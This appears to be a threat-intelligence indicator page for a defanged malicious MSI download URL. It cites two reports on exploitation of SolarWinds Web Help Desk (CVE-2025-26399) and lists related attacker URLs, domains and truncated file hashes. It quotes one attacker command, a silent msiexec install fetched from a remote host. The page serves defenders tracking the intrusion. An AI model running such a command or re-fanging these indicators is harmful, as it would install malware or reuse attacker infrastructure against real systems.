hxxps://files.catbox[.]moe/tmp9fc.msiURL
Reported by 2 independent sources · first reported by Huntress · last reported
Last reported 8 months ago
What the reports say
2 reports, newest first · the exact sentence from each-
SolarWinds Web Help Desk Exploitation - February 2026“msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi”
-
Active Exploitation of SolarWinds Web Help Desk (CVE-2025-26399)“msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi”
Indicators reported together
named in the same reports- hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msiin 2 reports
- hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msiin 2 reports
- hxxps://auth.qgtxtebl.workers[.]dev/in 1 report
- auth.qgtxtebl.workers[.]devin 1 report
- v2-api.mooo[.]comin 1 report
- worker[.]devin 1 report
- 897eae49e6c32de3…c85cd538a189in 1 report
- 46831be6e577e312…90396393b751in 1 report
- hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/code.txtin 1 report
- 34b2a6c334813adb…b13bbd2381f4in 1 report
- bbd6e120bf553091…b2edfa97ef44in 1 report
Copy these 11 indicators · defanged
Also named with it: CVE-2025-26399, CVE-2025-40551, CVE-2025-40536
Thanks — we review every report.